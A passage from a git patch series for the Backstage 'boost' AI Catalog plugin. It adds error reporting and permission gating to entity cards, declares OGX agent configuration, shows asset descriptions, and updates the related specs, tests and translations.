'@backstage/core-plugin-api'; import { type CatalogApi, catalogApiRef, @@ -61,11 +62,18 @@ const target: Entity = { const mockCatalogApi: Pick, 'getEntitiesByRefs'> = { getEntitiesByRefs: jest.fn(), }; +const mockErrorApi = { + post: jest.fn(), + error$: jest.fn(), +}; function renderTargets(refs: string[]) { return renderInTestApp( , @@ -75,6 +83,7 @@ function renderTargets(refs: string[]) { describe('HandoffTargets', () => { beforeEach(() => { mockCatalogApi.getEntitiesByRefs.mockReset(); + mockErrorApi.post.mockReset(); }); it('renders resolved targets as links', async () => { @@ -98,4 +107,16 @@ describe('HandoffTargets', () => { }); expect(screen.queryByRole('link')).toBeNull(); }); + + it('renders unresolved targets when lookup fails', async () => { + const ref = 'airesource:default/unavailable-agent'; + mockCatalogApi.getEntitiesByRefs.mockRejectedValue(new Error('offline')); + + await renderTargets([ref]); + + await waitFor(() => { + expect(screen.getByText(ref)).toBeInTheDocument(); + }); + expect(mockErrorApi.post).toHaveBeenCalledWith(expect.any(Error)); + }); }); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx index 23c95cb1c7a..32bbf0f83b9 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/HandoffTargets.tsx @@ -16,7 +16,7 @@ import type { Entity } from '@backstage/catalog-model'; import { useEffect, useState } from 'react'; -import { useApi } from '@backstage/core-plugin-api'; +import { errorApiRef, useApi } from '@backstage/core-plugin-api'; import { EntityRefLink, catalogApiRef } from '@backstage/plugin-catalog-react'; import { Flex, Text } from '@backstage/ui'; @@ -26,6 +26,7 @@ interface HandoffTargetsProps { export const HandoffTargets = ({ refs }: HandoffTargetsProps) => { const catalogApi = useApi(catalogApiRef); + const errorApi = useApi(errorApiRef); const [targets, setTargets] = useState | null>( null, ); @@ -39,14 +40,17 @@ export const HandoffTargets = ({ refs }: HandoffTargetsProps) => { .then(response => { if (!cancelled) setTargets(response.items); }) - .catch(() => { - if (!cancelled) setTargets(refs.map(() => undefined)); + .catch(error => { + if (!cancelled) { + errorApi.post(error); + setTargets(refs.map(() => undefined)); + } }); return () => { cancelled = true; }; - }, [catalogApi, refs]); + }, [catalogApi, errorApi, refs]); return ( diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx index 624afbd4659..5c1df70792b 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx @@ -15,8 +15,13 @@ */ import { type Entity } from '@backstage/catalog-model'; +import { AuthorizeResult } from '@backstage/plugin-permission-common'; import { EntityProvider } from '@backstage/plugin-catalog-react'; -import { renderInTestApp } from '@backstage/test-utils'; +import { + permissionApiRef, + type PermissionApi, +} from '@backstage/plugin-permission-react'; +import { renderInTestApp, TestApiProvider } from '@backstage/test-utils'; import { fireEvent, screen } from '@testing-library/react'; import { boostMessages } from '../../../translations/ref'; @@ -24,6 +29,9 @@ import { UsageCard } from './UsageCard'; const { catalog: msg } = boostMessages; const writeText = jest.fn(); +const permissionApi: jest.Mocked = { + authorize: jest.fn(), +}; const skillEntity: Entity = { apiVersion: 'backstage.io/v1alpha1', @@ -152,17 +160,24 @@ const noActionEntity: Entity = { }, }; -function renderWithEntity(entity: Entity) { +function renderWithEntity(entity: Entity, allowed = true) { + permissionApi.authorize.mockResolvedValue({ + result: allowed ? AuthorizeResult.ALLOW : AuthorizeResult.DENY, + }); + return renderInTestApp( - - - , + + + + + , ); } describe('UsageCard', () => { beforeEach(() => { writeText.mockReset().mockResolvedValue(undefined); + permissionApi.authorize.mockReset(); Object.defineProperty(navigator, 'clipboard', { configurable: true, value: { writeText }, @@ -180,6 +195,23 @@ describe('UsageCard', () => { ).toBeInTheDocument(); }); + it('does not render usage actions without permission', async () => { + const deniedEntity = { + ...skillEntity, + metadata: { + ...skillEntity.metadata, + name: 'denied-skill', + uid: 'uid-denied', + }, + }; + await renderWithEntity(deniedEntity, false); + + expect(screen.queryByText('npx skills add code-review-skill')).toBeNull(); + expect( + screen.queryByRole('button', { name: msg.card.copyCommand }), + ).toBeNull(); + }); + it('shows copied feedback after copying a command', async () => { await renderWithEntity(skillEntity); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx index 9da7b30e5df..29798de8b1e 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx @@ -15,7 +15,9 @@ */ import { useEffect, useRef, useState } from 'react'; +import { stringifyEntityRef } from '@backstage/catalog-model'; import { useEntity } from '@backstage/plugin-catalog-react'; +import { usePermission } from '@backstage/plugin-permission-react'; import { Button, Card, @@ -31,6 +33,8 @@ import { RiFileCopyLine, } from '@remixicon/react'; +import { aiCatalogAssetAccessUsageDocsPermission } from '@red-hat-developer-hub/backstage-plugin-boost-common'; + import { useTranslation } from '../../../hooks/useTranslation'; import { getUsageAction } from '../../../utils/usageActions'; import styles from './UsageCard.module.css'; @@ -120,6 +124,12 @@ function CopyCommand({ value }: { value: string }) { export const UsageCard = () => { const { entity } = useEntity(); const { t } = useTranslation(); + const { loading, allowed } = usePermission({ + permission: aiCatalogAssetAccessUsageDocsPermission, + resourceRef: stringifyEntityRef(entity), + }); + + if (loading || !allowed) return null; const action = getUsageAction(entity); diff --git a/workspaces/boost/yarn.lock b/workspaces/boost/yarn.lock index f9d40b8b87b..8f66bcfebb0 100644 --- a/workspaces/boost/yarn.lock +++ b/workspaces/boost/yarn.lock @@ -8944,6 +8944,7 @@ __metadata: "@backstage/frontend-test-utils": "npm:^0.6.3" "@backstage/plugin-app-react": "npm:^0.2.6" "@backstage/plugin-catalog-react": "npm:^3.2.2" + "@backstage/plugin-permission-common": "npm:^0.9.10" "@backstage/plugin-permission-react": "npm:^0.5.4" "@backstage/test-utils": "npm:^1.7.21" "@backstage/ui": "npm:^0.17.1" From 04cb008976accbf42a6fbeb33f025bc9c6d45a45 Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Tue, 15 Sep 2026 14:25:55 +0530 Subject: [PATCH 05/16] fix(boost): declare OGX agent configuration --- .../plugins/ogx-entity-provider/config.d.ts | 58 +++++++++++++++++++ .../ogx-entity-provider/src/module.test.ts | 44 ++++++++++++++ 2 files changed, 102 insertions(+) diff --git a/workspaces/boost/plugins/ogx-entity-provider/config.d.ts b/workspaces/boost/plugins/ogx-entity-provider/config.d.ts index 3e3fb03c0ed..f15d4817ccd 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/config.d.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/config.d.ts @@ -47,6 +47,39 @@ export interface Config { * @configScope yaml-only */ skipTLSVerify?: boolean; + /** Upstream refresh interval for model entities, in seconds. + * @configScope yaml-only + */ + modelRefreshIntervalSeconds?: number; + /** Upstream refresh interval for agent entities, in seconds. + * @configScope yaml-only + */ + agentRefreshIntervalSeconds?: number; + /** ID of the default/entry-point agent. + * @configScope yaml-only + */ + defaultAgent?: string; + /** Maximum number of agent turns in a conversation. + * @configScope yaml-only + */ + maxAgentTurns?: number; + /** Static agents to publish as catalog entities. + * @configScope yaml-only + */ + agents?: Array<{ + id: string; + name: string; + version?: string; + description?: string; + instructions?: string; + model?: string; + tools?: string[]; + handoffs?: string[]; + handoffDescription?: string; + enableRAG?: boolean; + createdBy?: string; + lifecycleStage?: 'draft' | 'pending' | 'published' | 'archived'; + }>; }; }; @@ -74,6 +107,31 @@ export interface Config { * @configScope yaml-only */ skipTLSVerify?: boolean; + /** ID of the default/entry-point agent. + * @configScope yaml-only + */ + defaultAgent?: string; + /** Maximum number of agent turns in a conversation. + * @configScope yaml-only + */ + maxAgentTurns?: number; + /** Static agents to publish as catalog entities. + * @configScope yaml-only + */ + agents?: Array<{ + id: string; + name: string; + version?: string; + description?: string; + instructions?: string; + model?: string; + tools?: string[]; + handoffs?: string[]; + handoffDescription?: string; + enableRAG?: boolean; + createdBy?: string; + lifecycleStage?: 'draft' | 'pending' | 'published' | 'archived'; + }>; }; }; }; diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/module.test.ts b/workspaces/boost/plugins/ogx-entity-provider/src/module.test.ts index e44f100fa1a..b07164d71a5 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/module.test.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/module.test.ts @@ -42,6 +42,50 @@ describe('readOgxEntityProviderConfig', () => { expect(result.skipTLSVerify).toBe(true); }); + it('reads agent configuration from boost.entityProviders.ogx', () => { + const config = new ConfigReader({ + boost: { + entityProviders: { + ogx: { + baseUrl: 'https://ogx.example.com', + defaultAgent: 'router', + maxAgentTurns: 5, + agents: [ + { + id: 'router', + name: 'Router', + version: '1.2.3', + model: 'granite-8b', + tools: ['web-search'], + }, + ], + }, + }, + }, + }); + + const result = readOgxEntityProviderConfig(config); + + expect(result.defaultAgent).toBe('router'); + expect(result.maxAgentTurns).toBe(5); + expect(result.agents).toEqual([ + { + id: 'router', + name: 'Router', + version: '1.2.3', + model: 'granite-8b', + tools: ['web-search'], + description: undefined, + instructions: undefined, + handoffs: undefined, + handoffDescription: undefined, + enableRAG: undefined, + createdBy: undefined, + lifecycleStage: undefined, + }, + ]); + }); + it('reads caData and skipTLSVerify from fallback boost.providers.ogx', () => { const config = new ConfigReader({ boost: { From 25a0d98dd4ab342b77d069ae1a94625e605657f9 Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Tue, 15 Sep 2026 14:26:10 +0530 Subject: [PATCH 06/16] fix(boost): show AI asset descriptions --- workspaces/boost/plugins/boost/report.api.md | 1 + .../catalog/entity/AssetDetailsCard.test.tsx | 13 +++++++------ .../catalog/entity/AssetDetailsCard.tsx | 15 ++++++++++++++- .../boost/plugins/boost/src/translations/ref.ts | 1 + 4 files changed, 23 insertions(+), 7 deletions(-) diff --git a/workspaces/boost/plugins/boost/report.api.md b/workspaces/boost/plugins/boost/report.api.md index 47d68c7e387..771a5c21828 100644 --- a/workspaces/boost/plugins/boost/report.api.md +++ b/workspaces/boost/plugins/boost/report.api.md @@ -394,6 +394,7 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.card.yes': string; readonly 'catalog.card.no': string; readonly 'catalog.card.assetDetailsTitle': string; + readonly 'catalog.card.descriptionLabel': string; readonly 'catalog.card.usageTitle': string; readonly 'catalog.card.versionLabel': string; readonly 'catalog.card.copyCommand': string; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx index 6aea770a47e..544ab832121 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx @@ -149,13 +149,13 @@ function renderWithEntity(entity: Entity) { } describe('AssetDetailsCard', () => { - it('renders distinct rationale without repeating the catalog description', async () => { + it('renders the catalog description and distinct rationale', async () => { await renderWithEntity(skillEntity); expect(screen.getByText(msg.card.assetDetailsTitle)).toBeInTheDocument(); - expect(screen.getByText('Catch defects early.')).toBeInTheDocument(); expect( - screen.queryByText('Reviews pull requests for common issues.'), - ).toBeNull(); + screen.getByText('Reviews pull requests for common issues.'), + ).toBeInTheDocument(); + expect(screen.getByText('Catch defects early.')).toBeInTheDocument(); }); it('renders skill metadata with built-in tags and entity links', async () => { @@ -220,7 +220,7 @@ describe('AssetDetailsCard', () => { expect(screen.queryByText(msg.card.ragEnabledLabel)).toBeNull(); }); - it('does not repeat an agent description as detail content', async () => { + it('renders a description-only agent asset', async () => { await renderWithEntity({ ...agentEntity, metadata: { ...agentEntity.metadata, description: 'Be concise.' }, @@ -235,7 +235,8 @@ describe('AssetDetailsCard', () => { }, }); - expect(screen.queryByText(msg.card.assetDetailsTitle)).toBeNull(); + expect(screen.getByText(msg.card.assetDetailsTitle)).toBeInTheDocument(); + expect(screen.getByText('Be concise.')).toBeInTheDocument(); }); it('renders agent-only fields and available models', async () => { diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.tsx index 8c02726047d..efe56d2dc3a 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.tsx @@ -36,11 +36,19 @@ export const AssetDetailsCard = () => { const handoffRefs = useMemo(() => getHandoffRefs(entity), [entity]); const typeDetails = getAssetTypeDetails(entity, handoffRefs); + const description = entity.metadata.description?.trim() || undefined; const rationale = getDistinctSpecField(entity, 'rationale'); const version = entity.metadata.annotations?.['rhdh.io/ai-asset-version'] ?? undefined; - if (!rationale && !version && !hasAssetTypeDetails(typeDetails)) return null; + if ( + !description && + !rationale && + !version && + !hasAssetTypeDetails(typeDetails) + ) { + return null; + } return ( @@ -49,6 +57,11 @@ export const AssetDetailsCard = () => { + {description && ( + + {description} + + )} {rationale && ( {rationale} diff --git a/workspaces/boost/plugins/boost/src/translations/ref.ts b/workspaces/boost/plugins/boost/src/translations/ref.ts index 9976be7b369..3980dc6ab8d 100644 --- a/workspaces/boost/plugins/boost/src/translations/ref.ts +++ b/workspaces/boost/plugins/boost/src/translations/ref.ts @@ -39,6 +39,7 @@ export const boostMessages = { }, card: { assetDetailsTitle: 'AI asset details', + descriptionLabel: 'Description', usageTitle: 'Usage', versionLabel: 'Version', copyCommand: 'Copy', From 8c0e5d795b58358de975fcf934abb1ce3bad3438 Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Tue, 15 Sep 2026 15:55:41 +0530 Subject: [PATCH 07/16] fix(boost): align AI Catalog review contract --- .../.changeset/ai-catalog-frontend-polish.md | 7 + .../specs/ai-catalog-dynamic-plugin/spec.md | 14 +- .../ai-catalog-entity-extensions/spec.md | 159 +++++++++++------- .../specs/ogx-entity-provider/spec.md | 7 +- workspaces/boost/plugins/boost/README.md | 2 +- workspaces/boost/plugins/boost/report.api.md | 4 +- .../src/components/catalog/AiAssetCard.tsx | 15 +- .../components/catalog/FilterSidebar.test.tsx | 43 +++-- .../plugins/boost/src/translations/ref.ts | 4 +- workspaces/boost/specifications/CURRENT.md | 11 +- .../boost-frontend-architecture.md | 15 +- 11 files changed, 169 insertions(+), 112 deletions(-) diff --git a/workspaces/boost/.changeset/ai-catalog-frontend-polish.md b/workspaces/boost/.changeset/ai-catalog-frontend-polish.md index 9dc0232446d..674877146ea 100644 --- a/workspaces/boost/.changeset/ai-catalog-frontend-polish.md +++ b/workspaces/boost/.changeset/ai-catalog-frontend-polish.md @@ -4,3 +4,10 @@ Polish responsive AI Catalog browsing and AI asset entity details with dynamic filters, accessible view switching, usage guidance, and type-aware metadata. + +Entity-page extensions are consolidated into AI asset details, agent +instructions, and Usage cards. The separate Usage tab is not part of this +preview; standard TechDocs remain provided by the host application, and usage +content remains hidden when the usage permission is denied. Git sources that +point to subpaths now open their source location instead of guessing an +archive download. diff --git a/workspaces/boost/openspec/specs/ai-catalog-dynamic-plugin/spec.md b/workspaces/boost/openspec/specs/ai-catalog-dynamic-plugin/spec.md index 84c59820bbc..545b4f98606 100644 --- a/workspaces/boost/openspec/specs/ai-catalog-dynamic-plugin/spec.md +++ b/workspaces/boost/openspec/specs/ai-catalog-dynamic-plugin/spec.md @@ -45,8 +45,10 @@ The OCI-packaged plugin MUST load correctly in an RHDH deployment. - **GIVEN** the boost frontend dynamic plugin is installed - **WHEN** a user navigates to a catalog entity page for an AI asset -- **THEN** the Summary, Adoption, and Version cards render when their required entity data exists -- **AND** the Usage tab (`entity-content:boost/usage`) is present on AI assets +- **THEN** the AI asset details, agent instructions, and Usage cards render when their required entity data exists +- **AND** they use the `entity-card:boost/ai-asset-details`, + `entity-card:boost/agent-instructions`, and `entity-card:boost/usage` + extension IDs #### Scenario: Extensions absent on non-AI entities @@ -60,16 +62,16 @@ Deployers MUST be able to customize the plugin via `app.extensions` in `app-conf #### Scenario: Disable an entity card -- **GIVEN** the deployer sets `entity-card:boost/adoption: false` in `app.extensions` +- **GIVEN** the deployer sets `entity-card:boost/ai-asset-details: false` in `app.extensions` - **WHEN** a user views an AI asset entity page -- **THEN** the Download/Adopt Card is not rendered +- **THEN** the AI asset details card is not rendered - **AND** other boost cards still render #### Scenario: Change entity filter on a card -- **GIVEN** the deployer sets `entity-card:boost/summary` with a `config.filter` that excludes AI asset kinds +- **GIVEN** the deployer sets `entity-card:boost/ai-asset-details` with a `config.filter` that excludes AI asset kinds - **WHEN** a user views an AiResource entity page -- **THEN** the summary card is not rendered (filter excludes AiResource) +- **THEN** the AI asset details card is not rendered (filter excludes AiResource) #### Scenario: Disable the page diff --git a/workspaces/boost/openspec/specs/ai-catalog-entity-extensions/spec.md b/workspaces/boost/openspec/specs/ai-catalog-entity-extensions/spec.md index 85c49098bf7..76c4569c513 100644 --- a/workspaces/boost/openspec/specs/ai-catalog-entity-extensions/spec.md +++ b/workspaces/boost/openspec/specs/ai-catalog-entity-extensions/spec.md @@ -2,102 +2,137 @@ > **Status: Implemented** — Current RHDH 2.1 release source of truth. > -> **Scope:** `plugins/boost` entity-page cards and Usage tab. Catalog entity -> visibility remains a Catalog/RHDH concern; this spec covers frontend +> **Scope:** `plugins/boost` entity-page cards for AI catalog assets. Catalog +> entity visibility remains a Catalog/RHDH concern; this spec covers frontend > presentation only. ## Purpose -This specification describes the frontend entity-page extensions delivered by -the AI Catalog plugin. Catalog entity discovery is governed by Backstage's -built-in `catalog.entity.read` permission; the Usage tab behavior below is -field-level presentation and must not be treated as a second entity-visibility -permission. +This specification describes the entity-page extensions delivered by the AI +Catalog plugin. AI assets use a small set of composable cards rather than a +separate card for every individual field. Type-specific fields are grouped in +the AI asset details card, while agent instructions and usage actions have +their own cards when applicable. -The current frontend may still use the existing -`ai-catalog.asset.access.usage-docs` check as a presentation gate for the -Usage tab. That check is transitional UI behavior: it is not the Catalog -entity-visibility control and it is not a backend security boundary. If a -future API returns protected fields, the API must enforce authorization at its -response boundary. +Catalog entity discovery is governed by Backstage's built-in +`catalog.entity.read` permission. The transitional +`ai-catalog.asset.access.usage-docs` permission may gate the Usage card, but it +is not an entity-visibility control or a backend security boundary. ## Requirements -### Requirement: Summary Card +### Requirement: AI asset details card -The Summary card MUST render on AI asset entity pages when the entity contains -at least one supported summary field. +The AI asset details card MUST render on AI asset entity pages when the entity +contains a description, rationale, version, or supported type-specific field. +It MUST omit itself when there is no supported content. -#### Scenario: Summary card renders on AI entity +#### Scenario: Details card renders for supported content -- **WHEN** an AI asset has a description, rationale, available model, agent - instruction, handoff description, or RAG setting -- **THEN** `entity-card:boost/summary` renders the available summary fields +- **WHEN** an AI asset has a description, rationale, version, or supported + type-specific metadata +- **THEN** `entity-card:boost/ai-asset-details` renders the available fields -#### Scenario: Summary card has no supported data +#### Scenario: Description-only asset -- **WHEN** an AI asset has none of the supported summary fields -- **THEN** the Summary card is not rendered +- **WHEN** an AI asset has only `metadata.description` +- **THEN** the details card renders the description -#### Scenario: Summary card absent on non-AI entity +#### Scenario: Details card has no supported data -- **WHEN** a developer views a catalog entity page for a non-AI entity -- **THEN** the Summary card is not rendered +- **WHEN** an AI asset has none of the supported fields +- **THEN** the details card is not rendered -### Requirement: Adoption Card +#### Scenario: Details card absent on non-AI entity -The Adoption card MUST copy or open a URL in the browser. It MUST NOT call a -Boost backend. +- **WHEN** a user views a catalog entity page for a non-AI entity +- **THEN** the details card is not rendered -#### Scenario: Copy or open action exists +### Requirement: Type-specific asset details -- **WHEN** the entity has a skill command, OCI pull, git archive link, or MCP remote -- **THEN** the card exposes that action in the browser +The details card MUST present fields according to the AI asset type without +requiring separate cards for each field. -#### Scenario: No action +#### Scenario: Agent details -- **WHEN** there is no adoption action -- **THEN** the Adoption card is not rendered +- **WHEN** an agent has model, tools, RAG, handoff description, handoff + targets, or related model data +- **THEN** the card renders the available values +- **AND** handoff targets link to resolvable catalog entities -### Requirement: Version Card +#### Scenario: Model-server details -The Version card MUST show only the current annotated version. +- **WHEN** a model server has server type, API-key requirement, default model, + or available models +- **THEN** the card renders the available values +- **AND** a large model inventory is available through a focused models view -#### Scenario: Current version annotation exists +#### Scenario: Other AI asset details -- **WHEN** `rhdh.io/ai-asset-version` is present -- **THEN** `entity-card:boost/version-list` shows that version -- **AND** it does not list a version history +- **WHEN** a skill, rule, or MCP server has supported type-specific metadata +- **THEN** the card renders the metadata using the appropriate field + presentation -### Requirement: Usage Tab +### Requirement: Agent instructions card -The Usage tab MUST be a Boost `EntityContentBlueprint` on AI assets. It MUST NOT -replace the Catalog TechDocs tab. +The agent instructions card MUST render only for agents with instructions and +MUST render the instruction content as Markdown. -Usage authorization is an API/data-boundary concern. If a future backend API -returns protected usage data, that API MUST enforce field-level authorization; -the frontend MUST NOT rely on hiding a tab as the security boundary. +#### Scenario: Agent instructions exist -#### Scenario: Current usage permission denies access +- **WHEN** an agent has non-empty instructions +- **THEN** `entity-card:boost/agent-instructions` renders the instructions + using Markdown content -- **WHEN** `ai-catalog.asset.access.usage-docs` denies access to the entity -- **THEN** the Usage tab shows a permission-denied message -- **AND** it links to the owner when the entity has a valid owner reference +#### Scenario: Agent instructions are absent + +- **WHEN** an agent has no instructions +- **THEN** the instructions card is not rendered + +### Requirement: Usage card + +The Usage card MUST expose a safe, type-specific usage action when one can be +derived from the entity. It MUST NOT call a Boost backend. + +#### Scenario: Usage action exists + +- **WHEN** the entity has a supported skill command, OCI pull command, model + server endpoint, MCP endpoint, Git archive, or Git source location +- **THEN** `entity-card:boost/usage` exposes the corresponding copy or link + action + +#### Scenario: Git subpath source -#### Scenario: Entity visibility is independent from usage presentation +- **WHEN** a Git source points to a repository subpath rather than a + repository root +- **THEN** the Usage card opens the source location instead of guessing an + archive download -- **WHEN** a user is authorized to read an entity through `catalog.entity.read` -- **AND** `ai-catalog.asset.access.usage-docs` denies access to the entity -- **THEN** the entity remains discoverable -- **AND** the Usage tab shows its permission-denied state +#### Scenario: No usage action -#### Scenario: Current usage permission allows access +- **WHEN** there is no safe supported usage action +- **THEN** the Usage card is not rendered + +#### Scenario: Usage permission denies access + +- **WHEN** `ai-catalog.asset.access.usage-docs` denies access to the entity +- **THEN** the Usage card is not rendered +- **AND** the entity remains discoverable through the Catalog permission model + +#### Scenario: Usage permission allows access - **WHEN** `ai-catalog.asset.access.usage-docs` allows access to the entity -- **THEN** the Usage tab links to TechDocs and `metadata.links` when present -- **AND** the Catalog TechDocs tab is unchanged +- **THEN** the Usage card may render its supported usage action + +### Requirement: Standard TechDocs behavior + +The AI Catalog plugin MUST NOT replace or duplicate the standard Backstage +TechDocs experience with a dedicated Usage tab. TechDocs remain available +through the host application's normal entity-page extensions. -#### Scenario: Tab visibility +#### Scenario: Standard TechDocs remain available -- **WHEN** a developer views a non-AI entity page -- **THEN** the Usage tab is not present +- **WHEN** a user views an AI asset with TechDocs configured +- **THEN** the host application's standard TechDocs experience remains + available +- **AND** the Boost plugin does not add a separate Usage tab for it diff --git a/workspaces/boost/openspec/specs/ogx-entity-provider/spec.md b/workspaces/boost/openspec/specs/ogx-entity-provider/spec.md index 51b7b0ae4b3..d4f34a785f9 100644 --- a/workspaces/boost/openspec/specs/ogx-entity-provider/spec.md +++ b/workspaces/boost/openspec/specs/ogx-entity-provider/spec.md @@ -75,6 +75,11 @@ loaded independently of `boost-backend`. - **AND** `apiKey` is marked with `@visibility secret` - **AND** `caData` is marked with `@visibility backend` - **AND** `baseUrl` and `skipTLSVerify` are marked `@configScope yaml-only` +- **AND** model and agent refresh intervals are declared on the + `boost.entityProviders.ogx` configuration path +- **AND** configured static agents support `id`, `name`, `version`, + `description`, `instructions`, `model`, `tools`, handoffs, RAG, owner, and + lifecycle fields ### Requirement: TLS connection configuration @@ -160,7 +165,7 @@ with type `agent`. - **WHEN** the agent provider refreshes - **THEN** it emits one agent entity for each configured agent - **AND** each entity maps the configured lifecycle, owner, instructions, handoffs, - handoff description, and RAG setting + handoff description, RAG setting, model, and tools - **AND** each entity has category `agent` and source `ogx` - **AND** each entity has a normalized version, defaulting to `0.0.0-unknown` when unavailable diff --git a/workspaces/boost/plugins/boost/README.md b/workspaces/boost/plugins/boost/README.md index 8b9e4a2fa5f..0838291652a 100644 --- a/workspaces/boost/plugins/boost/README.md +++ b/workspaces/boost/plugins/boost/README.md @@ -5,7 +5,7 @@ Frontend plugin for the Boost AI platform in Red Hat Developer Hub. Provides the ## Features - **AI Catalog browse page** at `/ai-catalog` — card grid for discovering AI skills, rules, MCP servers, agents, and models -- **Entity-page extensions** — summary card, Adoption card, current Version card, and Usage tab on AI asset entity pages. Adoption actions copy or open browser URLs; the Version card shows the current `rhdh.io/ai-asset-version` annotation only. +- **Entity-page extensions** — AI asset details, agent instructions, and Usage cards on AI asset entity pages. Usage actions copy or open supported source and endpoint URLs; standard TechDocs remain provided by the host application. - **`isAiAsset` filter** — condition filter for NFS Blueprints that matches all AI asset entity kind/type combinations ## Public API diff --git a/workspaces/boost/plugins/boost/report.api.md b/workspaces/boost/plugins/boost/report.api.md index 771a5c21828..2fe2a237e48 100644 --- a/workspaces/boost/plugins/boost/report.api.md +++ b/workspaces/boost/plugins/boost/report.api.md @@ -395,6 +395,9 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.card.no': string; readonly 'catalog.card.assetDetailsTitle': string; readonly 'catalog.card.descriptionLabel': string; + readonly 'catalog.card.viewDetails': string; + readonly 'catalog.card.tagsLabel': string; + readonly 'catalog.card.providerLabel': string; readonly 'catalog.card.usageTitle': string; readonly 'catalog.card.versionLabel': string; readonly 'catalog.card.copyCommand': string; @@ -416,7 +419,6 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.card.viewDefinition': string; readonly 'catalog.card.modelsTitle': string; readonly 'catalog.card.modelsAvailableSuffix': string; - readonly 'catalog.card.modelsAvailableTitle': string; readonly 'catalog.card.modelTitle': string; readonly 'catalog.card.viewModels': string; readonly 'catalog.card.modelsDialogTitle': string; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.tsx index 707b9c3b047..d2603458a7d 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/AiAssetCard.tsx @@ -27,6 +27,7 @@ import { } from '@backstage/ui'; import { RiUserLine } from '@remixicon/react'; +import { useTranslation } from '../../hooks/useTranslation'; import { entityHref, entityRefHref, @@ -41,6 +42,7 @@ export interface AiAssetCardProps { } export const AiAssetCard = ({ entity }: AiAssetCardProps) => { + const { t } = useTranslation(); const owner = getSpecField(entity, 'owner')?.trim(); const displayOwner = owner && owner.toLowerCase() !== 'unknown' ? owner : undefined; @@ -49,11 +51,15 @@ export const AiAssetCard = ({ entity }: AiAssetCardProps) => { const description = entity.metadata.description ?? ''; const provider = getProvider(entity) ?? ''; const ownerHref = displayOwner ? entityRefHref(displayOwner) : undefined; + const viewDetailsLabel = t('catalog.card.viewDetails').replace( + '{{title}}', + title, + ); return ( @@ -74,7 +80,7 @@ export const AiAssetCard = ({ entity }: AiAssetCardProps) => { )} {tags.length > 0 && (
- + {tags.map(tag => ( {tag} @@ -111,7 +117,10 @@ export const AiAssetCard = ({ entity }: AiAssetCardProps) => { )} {provider && ( - + {provider} diff --git a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx index 75f71d42c92..19d530eedcf 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/FilterSidebar.test.tsx @@ -14,17 +14,12 @@ * limitations under the License. */ -import { render, screen } from '@testing-library/react'; +import { renderInTestApp } from '@backstage/test-utils'; +import { screen } from '@testing-library/react'; import type { FilterDefinition } from '../../blueprints/AiCatalogFilterBlueprint'; import { FilterSidebar } from './FilterSidebar'; -jest.mock('../../hooks/useTranslation', () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - const mockFilter = (urlParam: string, label: string): FilterDefinition => ({ urlParam, label, @@ -37,10 +32,10 @@ const mockFilter = (urlParam: string, label: string): FilterDefinition => ({ }); describe('FilterSidebar', () => { - it('renders a Select for each filter', () => { + it('renders a Select for each filter', async () => { const filters = [mockFilter('type', 'Type'), mockFilter('owner', 'Owner')]; - render( + await renderInTestApp( { expect(screen.getByText('Owner')).toBeInTheDocument(); }); - it('shows All when a filter has no selected values', () => { - render( + it('shows All when a filter has no selected values', async () => { + await renderInTestApp( { />, ); - expect(screen.getAllByText('catalog.filter.all').length).toBeGreaterThan(0); + expect(screen.getAllByText('All').length).toBeGreaterThan(0); }); - it('keeps an option with the internal All value', () => { + it('keeps an option with the internal All value', async () => { const filter = { ...mockFilter('type', 'Type'), getOptions: () => [ @@ -75,7 +70,7 @@ describe('FilterSidebar', () => { ], }; - render( + await renderInTestApp( { ).toBeInTheDocument(); }); - it('returns null when filters array is empty', () => { - const { container } = render( + it('returns null when filters array is empty', async () => { + const { container } = await renderInTestApp( { expect(container.firstChild).toBeNull(); }); - it('renders nav with aria-label', () => { + it('renders nav with aria-label', async () => { const filters = [mockFilter('type', 'Type')]; - 